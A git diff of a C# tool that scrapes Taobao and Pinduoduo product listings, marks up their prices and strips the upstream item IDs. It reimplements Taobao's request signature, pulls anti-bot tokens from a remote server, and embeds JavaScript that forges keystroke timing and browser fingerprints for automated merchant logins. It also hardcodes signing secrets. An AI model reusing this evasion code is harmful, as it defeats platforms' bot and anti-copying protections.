+ } + if (!had) + { + p.sort = i + 1; + Product.Props.Add(p); + } + } + m = BaseRegex.GetMatchRegex(ref html, @"""skuId"":""([\d]+)"",""propPath"":""([-\d:;]+)"""); + for (int i = 0; i < m.Count; i++) + { + string skuid = m[i].Groups[1].Value; + string skuValues = m[i].Groups[2].Value; + var mm = BaseRegex.GetMatchRegex(ref html, + @"""" + skuid + @""":[^\}]+?""priceText"":""([\d.]+)""[^\}]*?},""quantity"":([\d]+)\}"); + if (mm.Count == 0) + { + LogSave.Add("SKU识别错误:" + Product.from_url); + continue; + } + + string priceText = mm[0].Groups[1].Value; + decimal before_price = decimal.Parse(priceText); + decimal price = before_price; + string numberString = BaseRegex.GetMatchRegexString(ref html, + @"""" + skuid + @""":[\w\W]+?""quantity"":""([\d]+)"""); + int number = 0; + if (!string.IsNullOrEmpty(numberString)) + number = int.Parse(numberString); + if (number > 100) + number = 100; + string name = BuildName(skuValues); + if (string.IsNullOrEmpty(name)) + continue; + bool had = false; + for (int j = 0; j < Product.SkuMaps.Count; j++) + { + if (Product.SkuMaps[j].name == name) + { + had = true; + break; + } + } + if (had) + { + continue; + } + mm = BaseRegex.GetMatchRegex(ref html, + @"""" + skuid + @""":[^\}]+?""priceText"":""([\d.]+)"",""(type|showTitle|sugProm|priceMoney)"""); + if (mm.Count != 0) + { + price = decimal.Parse(mm[0].Groups[1].Value);//这是折扣后的价格 + if (before_price != 0) + { + decimal dic = price / before_price; + if (dic < Product.discount) + Product.discount = dic; + } + + } + + + SkuMapBase sm = new SkuMapBase(); + sm.id = long.Parse(skuid); + sm.name = name; + sm.price = price; + sm.online_price = sm.price * Product.shopAddPercent / 100 + + new Random(Guid.NewGuid().GetHashCode()).Next((int)(Product.shopAddPriceMin * 100), + (int)(Product.shopAddPriceMax * 100)) / 100; + if (!Pinduoduo && (price < BaseClass.MinPrice || price > BaseClass.MaxPrice)) + number = 0; + else + hadPrice = true; + if (IsUrlCollect) + { + sm.online_price = GetOnlinePrice(sm.price); + } + sm.number = number; + sm.before_price = before_price; + sm.sale_count = 0; + Product.SkuMaps.Add(sm); + } + for (int i = 0; Product.discount < 1 && i < Product.SkuMaps.Count; i++) + { + if (Product.SkuMaps[i].number == 0) + Product.SkuMaps[i].price = Decimal.Round(Product.discount * Product.SkuMaps[i].before_price, 2); + } + try + { + if (!ProductTemp.ContainsKey(Product.from_id)) + ProductTemp.Add(Product.from_id, Product); + } + catch + { + } + if (!hadPrice && (Product.price < (IsUpdateSku ? BaseClass.MinPrice * 0.8m : BaseClass.MinPrice) || Product.price > BaseClass.MaxPrice)) + { + //LogSave.Add(Name, "价格太低:" + Product.from_url); + //if (IsUpdateSku) + //{ + // SetSku( 0, 0, 5); + //} + //else + //{ + // return; + //} + } + //if (IsUpdateSku || Pinduoduo)//如果是更新上家价格,则执行此代码 + //{ + // Product.main_cid = new FromTitleToCat().GetMainCatId(Product.cat1); + // if(Product.main_cid==0) + // return; + // url = BaseClass.BigDataApiUrl + "?obj=product/product"; + // string datax = "&act=update&site_id=1&shop_name=" + GetHtml.UrlEncodeUtf8(Product.from_shop_name) + "&json=" + GetHtml.UrlEncodeUtf8(JsonHelper.SerializeObject(Product)); + // html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + datax); + // //后期加代码 + // return; + //} + + //淘宝大数据收集 + //string json = JsonHelper.SerializeObject(Product); + //string data = "id=" + Product.id + "&site_id=" + Product.from_site_id + "&" + UserLogin.GetSignaturex() + + // "&json=" + GetHtml.UrlEncodeUtf8(json); + //string upUrl = BaseClass.BuildObjString("upload_data"); + //html = GetHtml.PostUtf8(upUrl, data); + if (nokey)//过滤数据 + return; + if (html == "Ok" || html == "Had") + { + LogSave.Add(Name, "采集成功:" + Product.id); + } + + Product.from_title = Product.name; + } + + /// + /// 淘宝签名算法 + /// + /// + /// + /// + public string GetSign(string h5Tk, string data, out long time) + { + string appkey = "12574478"; + System.DateTime starttime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1)); // 当地时区 + DateTime datetime = DateTime.Now; + time = (long)(datetime - starttime).TotalMilliseconds; // 相差毫秒数 + string code = h5Tk + "&" + time + "&" + appkey + "&" + data; + return Md5Base.GetMd5(code).ToLower(); + } + + /// + /// 生成名称 + /// + /// + /// + private string BuildName(string name) + { + string temp = ""; + for (int i = 0; i < Product.Props.Count; i++) + { + for (int j = 0; j < Product.Props[i].Values.Count; j++) + { + if (name.Contains(Product.Props[i].Values[j].value)) + { + temp += Product.Props[i].name + ":" + Product.Props[i].Values[j].name + ";"; + break; + } + } + } + if (string.IsNullOrEmpty(temp)) + return ""; + return temp.Substring(0, temp.Length - 1); + } + /// + /// 网址采集计算价格 + /// + /// + /// + public decimal GetOnlinePrice(decimal price) + { + if (price < 40) + { + price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(1500, 2000); + } + else if (price < 100) + { + price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(2500, 3000); + } + else if (price < 200) + { + price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(3000, 5000); + } + else + { + price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(4000, 6000); + } + return price / 100; + } + /// + /// 获取上家ID + /// + /// + /// + public static long GetUpId(ref string content) + { + string upShopId = BaseRegex.GetMatchRegexString(ref content, @"//item\.taobao\.com/item\.htm\?id=([345][\d]{11})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*#fff[^>]*>[^<]*([345][\d]{11})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*white[^>]*>[^<]*([345][\d]{11})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*#ffffff[^>]*>[^<]*([345][\d]{11})[\D]"); + if (string.IsNullOrEmpty(upShopId) && content.Length > 100) + upShopId = BaseRegex.GetMatchRegexString(content.Substring(0, 100), @"[\D]([345][\d]{11})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"//item\.taobao\.com/item\.htm\?id=[\D]([\d]{11,12})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"[\D]([\d]{11,12})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = BaseRegex.GetMatchRegexString(ref content, @"[\D]([\d]{6,12})[\D]"); + if (string.IsNullOrEmpty(upShopId)) + upShopId = "0"; + return long.Parse(upShopId); + } + + /// + /// 清理正文 + /// + /// + /// + public static string ClearContent(string content) + { + string newContent = BaseRegex.Relpace(content, @"(]*assets\.alicdn\.com[^>]*>)", ""); + ClearTable(ref newContent); + BaseRegex.Relpace(ref newContent, @"(<[aA] [\w\W]+?)", ""); + BaseRegex.Relpace(ref newContent, @"(]*>[^<]*[\d]{10,15}[^<]*

)", ""); + BaseRegex.Relpace(ref newContent, @"(<[^>]*#ffffff[^>]*>[^<]*[\d]{10,15}[^<]*<[^>]*>)", ""); + BaseRegex.Relpace(ref newContent, @"((<[pdiv]+[^>]*width:[\s]*0;[\s]*height:[\s]*0;[^>]*>[\w\W]*?))", ""); + BaseRegex.Relpace(ref newContent, @"((<[pdiv]+[^>]*width:[\s]*0px;[\s]*height:[\s]*0px;[^>]*>[\w\W]*?))", ""); + BaseRegex.Relpace(ref newContent, @"(http[\s]{0,1}://item\.taobao\.com/item\.htm\?id=[\d]+)", ""); + newContent = newContent.Replace("

 

", ""); + if (!newContent.Contains(" + /// 清除表格广告代码 + /// + /// + /// + public static void ClearTable(ref string html) + { + if (string.IsNullOrEmpty(html)) + return; + + int i = html.IndexOf(" 0 && i >= 0) + { + end = html.IndexOf("= 0 && (t1 < t2 || t2 < 0)) + i = t1; + if (t2 >= 0 && (t2 < t1 || t1 < 0)) + i = t2; + + } + string re = html.Substring(first, end - first + 8); + if (re.Contains(" GetGokenx() + { + try + { + JavascriptResponse task = await cefWebBrowser1xy.GetBrowser().MainFrame.EvaluateScriptAsync("getContent()"); + if (task.Success && !string.IsNullOrEmpty(task.Result.ToString())) + { + return task.Result.ToString(); + } + } + catch (Exception e) + { + + //throw; + } + return ""; + } + + public string GetGoken() + { + try + { + var task = cefWebBrowser1xy.GetBrowser().MainFrame.EvaluateScriptAsync("getContent()"); + + if (task.Result.Result != null && !string.IsNullOrEmpty(task.Result.Result.ToString())) + { + return task.Result.Result.ToString(); + } + } + catch (Exception e) + { + + //throw; + } + return ""; + } + + public async Task GetAntiContent0ao_v3(string cookie, string userAgent, string referer) + { + return await Task.Run(() => + { + int port = new Random().Next(9981, 9989); + string url = "http://220.167.100.16:" + port + "/getAntiContent?cookie=" + cookie; + string data = "&ua=" + userAgent + "&referrer=" + referer; + int time = BaseClass.ConvertDateTimeInt(BaseClass.GetServerTimeString()); + string time1 = UserLogin.GetMd5(time + "W*%IvTrqSVRaEOyN17@J"); + data += "&time=" + time + "&code=" + time1; + string html = GetHtml.GetUrlCodex(url + data); + return html; + }); + } + + + + } +} diff --git a/Work/Tips/TokenForm.designer.cs b/Work/Tips/TokenForm.designer.cs new file mode 100644 index 0000000..9d49d91 --- /dev/null +++ b/Work/Tips/TokenForm.designer.cs @@ -0,0 +1,58 @@ +namespace Work.Tips +{ + partial class TokenForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.panel2 = new System.Windows.Forms.Panel(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(0, 0); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(579, 443); + this.panel2.TabIndex = 1; + // + // TokenForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(579, 443); + this.Controls.Add(this.panel2); + this.Name = "TokenForm"; + this.Text = "TokenForm"; + this.Load += new System.EventHandler(this.TokenForm_Load); + this.ResumeLayout(false); + + } + + #endregion + private System.Windows.Forms.Panel panel2; + } +} \ No newline at end of file diff --git a/Work/Tips/TokenForm.resx b/Work/Tips/TokenForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/Work/Tips/TokenForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Work/UserLogin.cs b/Work/UserLogin.cs new file mode 100644 index 0000000..905b85f --- /dev/null +++ b/Work/UserLogin.cs @@ -0,0 +1,682 @@ +using System; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using AllBase; + +namespace Work +{ + public class UserLogin + { + public string Mobile; + public string Password; + public static bool Logining = false, NoRegedit = false, NoFindPass = false, NoBuy = false; + /// + /// 登录 + /// + /// + /// + public bool Get(ref string message, out int lockUserName, out int weakPassword, out string messageInfo) + { + bool IsLoginDef = false; + Logining = true; + string mobile = Mobile; + string password = Password; + string passwordMd5; + if (password == "******") + passwordMd5 = BaseClass.PassWord; + else + passwordMd5 = Md5Base.GetMd5(password).ToLower(); + BaseClass.PassWord = passwordMd5; + BaseClass.PassWordBak = BaseClass.PassWord; + BaseClass.UserName = Mobile; + Random r = new Random(); + int r2 = r.Next(100000000, 899999999); //生成随机码 + string url = BaseClass.DouYinBuildObjString("login"); + for (int j = 0; j < 100 && string.IsNullOrEmpty(BaseClass.MacInfo); j++) + { + Thread.Sleep(10); + } + Agian: + string data = "mobile=" + mobile + "&r2=" + r2 + "&password=" + passwordMd5 + "&" + GetSignature() + "&mac=" + BaseClass.MacInfo + "&version=" + BaseClass.VersionCount; + data += "&from_tool=" + GetHtml.UrlEncodeUtf8(BaseClass.AgentName) + "&client_ip=" + GetHtml.UrlEncodeUtf8(BaseClass.IPAddress) + "&client_addr=" + GetHtml.UrlEncodeUtf8(BaseClass.IPAddressName); + string html = GetHtml.PostUtf8(url, data); + lockUserName = -1; + weakPassword = -1; + messageInfo = ""; + if (string.IsNullOrEmpty(html) || html.Contains("Error No File")) + { + if (!IsLoginDef) + { + IsLoginDef = true; + url = BaseClass.DouYinBuildObjString("login"); + goto Agian; + } + + message = "链接服务器失败\r\n" + + "如有问题请联系官方QQ:" + BaseClass.ServiceQQ; + return false; + } + if (html == "need open") + { + message = "登录失败\r\n请先点击“购买开户”开通本软件使用权限"; + return false; + } + if (!html.Contains("\"code\":200")) + { + var errMsg = BaseRegex.GetStringJson(ref html, "msg"); + if (string.IsNullOrEmpty(errMsg)) + errMsg = html; + message = errMsg; + return false; + } + string code = BaseRegex.GetStringJson(ref html, "c"); + string codex = Encryption(r2); + if (code != codex) + { + message = "登录失败\r\n链接异常请重试"; + return false; + } + + if (IsLoginDef) + { + BaseClass.LoginApiUrl = "http://new.qixiaoke.com/"; + BaseClass.ImageApiUrl = BaseClass.LoginApiUrl + "index.php?obj=api/image"; + } + + BaseClass.EndDate = BaseRegex.GetStringJson(ref html, "end"); + BaseClass.CompanyName = BaseRegex.GetStringJson(ref html, "company"); + BaseClass.UserId =Convert.ToInt32(BaseRegex.GetStringJson(ref html, "uid")); + BaseClass.UserKey = Convert.ToInt32(BaseRegex.GetStringJson(ref html, "key")); + BaseClass.NickName = BaseRegex.GetStringJson(ref html, "nickname"); + BaseClass.UserVersion = Convert.ToInt32(BaseRegex.GetStringJson(ref html, "v")); + BaseClass.UserVersionString = BaseRegex.GetStringJson(ref html, "vt"); + BaseClass.CompanyId = Convert.ToInt32(BaseRegex.GetStringJson(ref html, "cid")); + BaseClass.GroupId = Convert.ToInt32(BaseRegex.GetStringJson(ref html, "groupid")); + BaseClass.Balance = Convert.ToInt32(BaseRegex.GetStringJson(ref html, "balance")); + BaseClass.IsFactory = Convert.ToInt32(BaseRegex.GetStringJson(ref html, "factory")) == 1; + BaseClass.IsCloudBuyOrder = Convert.ToInt32(BaseRegex.GetStringJson(ref html, "cloud_buy_order_status")) == 1; + if (BaseClass.GroupId != 3 && BaseClass.GroupId != 4 && BaseClass.GroupId != 9 && BaseClass.GroupId != 10 && BaseClass.GroupId != 11) + { + BaseClass.UserId = 0; + BaseClass.UserKey = 0; + return false; + } + BaseClass.EndDate = BaseRegex.GetStringJson(ref html, "end"); + BaseClass.CompanyName = BaseRegex.GetStringJson(ref html, "company"); + + string islock = BaseRegex.GetStringJson(ref html, "is_lock"); + int.TryParse(islock, out lockUserName); + string isweak = BaseRegex.GetStringJson(ref html, "is_weak_password"); + int.TryParse(isweak, out weakPassword); + messageInfo = BaseRegex.GetStringJson(ref html, "message"); + + // 代理权限列表 + string agent_auth = BaseRegex.GetStringJson(ref html, "agent_auth"); + + + Initialization i = new Initialization(); + i.SaveConfig(); + return true; + } + + + /// + /// 注册账户 + /// + /// 手机 + /// 密码 + /// 验证码 + /// 昵称 + /// 邮箱 + /// + /// + public bool Regedit(string mobile, string password, string code, string nickname, string email, out string message) + { + string passwordMd5 = Md5Base.GetMd5(password).ToLower(); + string url = BaseClass.DouYinBuildObjString("regedit"); + string data = "mobile=" + mobile + "&password=" + passwordMd5 + "&sms_code=" + code + "&nickname=" + GetHtml.UrlEncodeUtf8(nickname) + + "&email=" + email + "&" + GetSignature(); + string html = GetHtml.PostUtf8(url, data); + if (string.IsNullOrEmpty(html) || html.Contains("Error No File")) + { + message = "提交请求失败,请重试,如仍失败请尝试以下方法:\r\n" + + "1、Win7、8、10系统请(右击)使用管理员权限运行\r\n" + + "2、检查网络链接是否正确、杀毒防火墙等是否禁止链接(可卸载后再次登录)\r\n" + + "3、请不要使用代理上网,更换为路由或者直接链接\r\n" + + "4、可先卸载杀毒软件或者安全卫士,软件正常联网后,重新安装杀毒\r\n" + + "5、如以上方法依然无法解决,可联系客服QQ:" + BaseClass.ServiceQQ + " 协助"; + return false; + } + if (!html.Contains("\"code\":200")) + { + var errMsg = BaseRegex.GetStringJson(ref html, "msg"); + if (string.IsNullOrEmpty(errMsg)) + errMsg = html; + message = errMsg; + if (message.Contains("手机号码已被注册")) + { + message = message.Replace("手机号码已被注册", "手机号码已被注册,请直接登录或找回密码"); + } + if (message.Contains("短信验证码错误")) + { + message = "短信验证码错误,请重新输入\r\n如果接收不到,请联系客服QQ:" + BaseClass.ServiceQQ + ""; + } + return false; + } + message = ""; + return true; + } + + /// + /// 重置密码 + /// + /// + /// + /// + /// + /// + public bool ResetPassword(string mobile, string code, string password, out string message) + { + string passwordMd5 = Md5Base.GetMd5(password).ToLower(); + string url = BaseClass.DouYinBuildObjString("reset_password"); + string data = "mobile=" + mobile + "&password=" + passwordMd5 + "&sms_code=" + code + "&" + GetSignature(); + string html = GetHtml.PostUtf8(url, data); + if (string.IsNullOrEmpty(html) || html.Contains("Error No File")) + { + message = "提交请求失败,请重试,如仍失败请尝试以下方法:\r\n" + + "1、Win7、8、10系统请(右击)使用管理员权限运行\r\n" + + "2、检查网络链接是否正确、杀毒防火墙等是否禁止链接(可卸载后再次登录)\r\n" + + "3、请不要使用代理上网,更换为路由或者直接链接\r\n" + + "4、可先卸载杀毒软件或者安全卫士,软件正常联网后,重新安装杀毒\r\n" + + "5、如以上方法依然无法解决,可联系客服QQ:" + BaseClass.ServiceQQ + " 协助"; + return false; + } + if (!html.Contains("\"code\":200")) + { + var errMsg = BaseRegex.GetStringJson(ref html, "msg"); + if (string.IsNullOrEmpty(errMsg)) + errMsg = html; + message = errMsg; + return false; + } + message = ""; + return true; + + } + + /// + /// 获取签名字符串 + /// + /// + public static string GetSignature(bool isPhoneOrder = false) + { + int time = BaseClass.DateTimeToTimestampSeconds(DateTime.Now) + BaseClass.TimeDifferent; + string code = Encryption(time); + if (isPhoneOrder) + { + code = BaseClass.GetMd5(time.ToString() + "8eLg*MDD46YjA_e*onDgnvkdIaGhi=7B").ToUpper(); + } + return "time=" + time + "&code=" + code + "&NbCodeVersion=1"; + } + + public static bool IsPinduoduo = false; + + /// + /// 获取签名字符串,新版 + /// + /// + public static string GetSignaturex(bool isPhoneOrder = false, int posttype = 0) + { + return GetSignaturex(BaseClass.ShopId, BaseClass.ShopName, isPhoneOrder, posttype); + } + + public static string GetSignaturex(string shopId, string shopName, bool isPhoneOrder = false, int posttype=0) + { + if (string.IsNullOrEmpty(shopId)) + shopId = BaseClass.ShopId; + if (string.IsNullOrEmpty(shopName)) + shopName = BaseClass.ShopName; + int time = BaseClass.ConvertDateTimeInt(DateTime.Now) + BaseClass.TimeDifferent; + string time1 = Encryption(time); + if (posttype==1) + { + return time1; + } + return GetSignature(isPhoneOrder) + "&version=" + BaseClass.VersionCount + "&uid=" + BaseClass.UserId + "&key=" + BaseClass.UserKey + + "&cid=" + BaseClass.CompanyId + "&company=" + GetHtml.UrlEncodeUtf8(BaseClass.CompanyName) + + "&sid=" + shopId + "&shop=" + GetHtml.UrlEncodeUtf8(shopName); + } + + /// + /// 签名算法 + /// + /// 随机数 + /// 加密签名结果 + public static string Encryptionxx(int s) + { + string ss = s.ToString(); + if (ss.Length > 8) + { + ss = ss.Substring(ss.Length - 8); + s = int.Parse(ss); + if (s < 100000000) + s += 100000000; + } + byte[] kb = Encoding.ASCII.GetBytes(s.ToString()); + if (BaseClass.NewSignatureAuth) + { + double y = s * 1.6081825125; + y += 4582095.48659959; + y += kb[3] * 934579.486548; + y += kb[7] + 4889894.30184; + byte[] k = Encoding.ASCII.GetBytes(y.ToString()); + y -= 478735.48548; + y -= k[6] * 426720.454545; + y -= k[2] * 5667826.96889; + byte[] k1 = Encoding.ASCII.GetBytes(y.ToString()); + y += 56979810.2455; + y -= k1[1] * 58742.0564845; + y -= k1[5] * 1528.487866; + string c = ((int)y).ToString(); + return GetMd5(c); //返回签名的MD5结果 + } + else + { + double y = s * 1.8061825125; + y += 4852095.48659959; + y += kb[3] * 943579.486548; + y += kb[7] + 4889894.30184; + byte[] k = Encoding.ASCII.GetBytes(y.ToString()); + y -= 458735.48548; + y -= k[6] * 458720.454545; + y -= k[2] * 5447826.96889; + byte[] k1 = Encoding.ASCII.GetBytes(y.ToString()); + y += 34779810.2455; + y -= k1[1] * 57942.0564845; + y -= k1[5] * 1548.487866; + string c = ((int)y).ToString(); + return GetMd5(c); //返回签名的MD5结果 + } + //double y = s * 1.8061825125; + //y += 4852095.48659959; + //y += kb[3] * 943579.486548; + //y += kb[7] + 4889894.30184; + //byte[] k = Encoding.ASCII.GetBytes(y.ToString()); + //y -= 458735.48548; + //y -= k[6] * 458720.454545; + //y -= k[2] * 5447826.96889; + //byte[] k1 = Encoding.ASCII.GetBytes(y.ToString()); + //y += 34779810.2455; + //y -= k1[1] * 57942.0564845; + //y -= k1[5] * 1548.487866; + //string c = ((int)y).ToString(); + //return GetMd5(c); //返回签名的MD5结果 + } + + /// + /// 签名算法 + /// + /// 随机数 + /// 加密签名结果 + public static string Encryption(int s) + { + return GetMd5(s + "sdhewu*/fhAAue48485ew5+5%@3485esGFFHFD"); + } + + public string Get(string key) + { + if (string.IsNullOrEmpty(key)) + return ""; + byte[] inArray = Convert.FromBase64String(key.Replace("/", "=")); + string html = Encoding.UTF8.GetString(inArray); + + html = html.Replace("C", "1"); + html = html.Replace("Q", "6"); + html = html.Replace("I", "2"); + html = html.Replace("L", "0"); + html = html.Replace("Z", "9"); + html = html.Replace("O", "5"); + html = html.Replace("P", "8"); + html = html.Replace("D", "7"); + html = html.Replace("R", "b"); + html = html.Replace("S", "c"); + html = html.Replace("J", "a"); + return html; + } + /// + /// MD5加密 + /// + /// + /// + public static string GetMd5(string instring) + { + byte[] result = Encoding.Default.GetBytes(instring.Trim()); + MD5 md5 = new MD5CryptoServiceProvider(); + byte[] output = md5.ComputeHash(result); + return BitConverter.ToString(output).Replace("-", ""); + } + /// + /// 获取验证码 + /// + /// + /// + /// + public static string SendCode(string mobile, out bool success) + { + string url = BaseClass.DouYinBuildObjString("sms_gate"); + string data = "mobile=" + mobile + "&" + GetSignature(); + string html = GetHtml.PostUtf8(url, data); + success = false; + if (string.IsNullOrEmpty(html) || html.Contains("Error No File")) + { + return "提交请求失败,请重试,如仍失败请尝试以下方法:\r\n" + + "1、Win7、8、10系统请(右击)使用管理员权限运行\r\n" + + "2、检查网络链接是否正确、杀毒防火墙等是否禁止链接(可卸载后再次登录)\r\n" + + "3、请不要使用代理上网,更换为路由或者直接链接\r\n" + + "4、可先卸载杀毒软件或者安全卫士,软件正常联网后,重新安装杀毒\r\n" + + "5、如以上方法依然无法解决,可联系客服QQ:" + BaseClass.ServiceQQ + " 协助"; + } + if (!html.Contains("\"code\":200")) + { + var errMsg = BaseRegex.GetStringJson(ref html, "msg"); + if (string.IsNullOrEmpty(errMsg)) + errMsg = html; + return errMsg; + } + success = true; + return ""; + } + + + public static string JsCode = @"var auth = { + getPublicKey: function() { + var _this = this; + Helper.get(""earth/api/queryPasswordEncrypt"", {}).then(function(d) { + if (d.success) { + _this.passwordEncrypt = d.result.passwordEncrypt; + _this.publicKey = d.result.publicKey; + _this.authCode(); + } + }); + }, + authCode: function() { + var _this = this; + Helper.post(""earth/api/merchant/getCaptchaCode"", { + sceneId: 15 + }).then(function(t) { + if (t.success) { + $img = document.querySelector('#tuxing').nextElementSibling; + $img.setAttribute('src', t.result.picture); + _this.captChaCodeUrl = t.result.picture; + _this.token = t.result.sign; + _this.__callback && _this.__callback.apply(_this); + } + }) + }, + setStartTime: function(e) { + var t = (new Date).getTime(); + if (e == 'usernameId') { + this.mobileInputEditStartTime = t; + } else if (e == 'passwordId') { + this.passwordInputEditStartTime = t; + } else if (e == 'authCode') { + this.captureInputEditStartTime = t; + } + }, + setEndTime: function(e) { + var t = (new Date).getTime(); + if (e == 'usernameId') { + this.mobileInputEditFinishTime = t; + } else if (e == 'passwordId') { + this.passwordInputEditFinishTime = t; + } else if (e == 'authCode') { + this.captureInputEditFinishTime = t; + } + }, + setKeyboardEvent: function(e, t, n) { + for (var r = """", i = 0, a = 0, o = 0, s = """", l = 0; l < t.length; l++) + ""9"" == t[l].keyCode ? i = 1 : ""17"" == t[l].keyCode || ""91"" == t[l].keyCode ? a = 1 : ""86"" == t[l].keyCode && (o = 1), + r += 0 == l ? t[l].time - e : t[l].time - t[l - 1].time, + l < t.length - 1 && (r += ""-""); + s += i + ""|"" + a + ""|"" + o + ""|"" + r; + this[n] = s; + }, + getKeyCode: function(e, t) { + var n = this, + r = this.mobileInputKeyboardEventList, + i = this.passwordInputKeyboardEventList, + a = this.captureInputKeyboardEventList, + o = (new Date).getTime(), + s = { + time: o, + keyCode: t.keyCode + }; + + if (e == 'usernameId') { + r.push(s); + r = r.filter(function(e, t) { + return null != e.keyCode; + }); + this.mobileInputKeyboardEventList = r; + this.setKeyboardEvent(this.mobileInputEditStartTime, r, 'mobileInputKeyboardEvent'); + } + + if (e == 'passwordId') { + i.push(s); + i = i.filter(function(e, t) { + return null != e.keyCode + }); + this.passwordInputKeyboardEventList = i; + this.setKeyboardEvent(this.passwordInputEditStartTime, i, 'passwordInputKeyboardEvent'); + } + + if (e == 'authCode') { + a.push(s); + a = a.filter(function(e, t) { + return null != e.keyCode + }); + this.captureInputKeyboardEventList = a; + this.setKeyboardEvent(this.captureInputEditStartTime, i, 'captureInputKeyboardEvent'); + } + }, + UIEvents: function() { + var _this = this; + + // 模拟键盘输入 + var username = new Promise(function(resolve, reject) { + var keys = _this.options.username.split(''); + var quque = function() { + if (!keys.length) { + resolve(); + return; + } + + var key = keys[0].charCodeAt(0), + event = {keyCode: key}; + + setTimeout(function() { + _this.setEndTime('usernameId'); + _this.getKeyCode('usernameId', event); + keys.shift(); + quque(); + }, 10); + }; + + _this.setStartTime('usernameId'); + quque(); + }); + + var password = new Promise(function(resolve, reject) { + var keys = _this.options.password.split(''); + var quque = function() { + if (!keys.length) { + resolve(); + return; + } + + var key = keys[0].charCodeAt(0), + event = {keyCode: key}; + + setTimeout(function() { + _this.setEndTime('passwordId'); + _this.getKeyCode('passwordId', event); + keys.shift(); + quque(); + }, 10); + }; + + _this.setStartTime('passwordId'); + quque(); + }); + + var authCode = new Promise(function(resolve, reject) { + var keys = _this.options.verifyCode.split(''); + var quque = function() { + if (!keys.length) { + resolve(); + return; + } + + var key = keys[0].charCodeAt(0), + event = {keyCode: key}; + + setTimeout(function() { + _this.setEndTime('authCode'); + _this.getKeyCode('authCode', event); + keys.shift(); + quque(); + }, 10); + }; + + _this.setStartTime('authCode'); + quque(); + }); + + Promise.all([username, password, authCode]).then(function(values) { + _this.login(); + }); + }, + + login: function() { + var _this = this, + params = {} + $btn = document.querySelector('#loginBtnId') + offset = $btn.getBoundingClientRect(), + btnPoint = parseInt(offset.x + (offset.width / 2)) + ',' + parseInt(offset.y + (offset.height / 2)); + + params = { + username: this.options.username, + password: this.options.password, + verifyCode: this.options.verifyCode, + verificationCode: """", + sign: this.token, + touchevent: { + mobileInputEditStartTime: this.mobileInputEditStartTime, + mobileInputEditFinishTime: this.mobileInputEditFinishTime, + mobileInputKeyboardEvent: this.mobileInputKeyboardEvent, + passwordInputEditStartTime: this.passwordInputEditStartTime, + passwordInputEditFinishTime: this.passwordInputEditFinishTime, + passwordInputKeyboardEvent: this.passwordInputKeyboardEvent, + captureInputEditStartTime: this.captureInputEditStartTime, + captureInputEditFinishTime: this.captureInputEditFinishTime, + captureInputKeyboardEvent: this.captureInputKeyboardEvent, + loginButtonTouchPoint: btnPoint, + loginButtonClickTime: (new Date).getTime() + }, + fingerprint: { + innerHeight: window.innerHeight, + innerWidth: window.innerWidth, + devicePixelRatio: window.devicePixelRatio, + availHeight: screen.availHeight, + availWidth: screen.availWidth, + height: screen.height, + width: screen.width, + colorDepth: screen.colorDepth, + locationHref: location.href, + navigator: { + appCodeName: navigator.appCodeName, + appName: navigator.appName, + hardwareConcurrency: navigator.hardwareConcurrency, + language: navigator.language, + cookieEnabled: navigator.cookieEnabled, + platform: navigator.platform, + doNotTrack: navigator.doNotTrack, + ua: navigator.ua, + vendor: navigator.vendor, + product: navigator.product, + productSub: navigator.productSub + }, + referer: document.referrer, + timezoneOffset: (new Date).getTimezoneOffset() + } + } + + if (this.passwordEncrypt) { + var p = new JSEncrypt; + p.setPublicKey(this.publicKey); + params.password = p.encrypt(params.password); + params.passwordEncrypt = true; + } + + Helper.post(""nomallid/auth"", params).then(function(e) { + if (e.error_msg) { + console.log(e); + //alert('login error'); + return; + } + + localStorage.setItem(""PASSID"", e.pass_id); + Helper.saveToSessionStorage(""old_easy_psd"", { old_easy_psd: params.password}); + _this.handerAfterAjax(e.userInfo, params.username); + }, function() { + //alert('login Error'); + }); + }, + handerAfterAjax: function(e, n) { + Helper.saveToLocalStorage(""old_username"", { + username: n + }); + window.mall_id = e.mallId; + Pdd.saveToLocalStorage(""username"", n); + Helper.queryUserinfo(function(e) { + window.g_mall_id = e.mallId; + e.error_msg || Helper.saveToLocalStorage(""userinfo"", e); + window.location.href = location.origin + location.pathname + '#/index?pre=log_page'; + }); + }, + + send(options) { + this.options = Object.assign({}, options); + 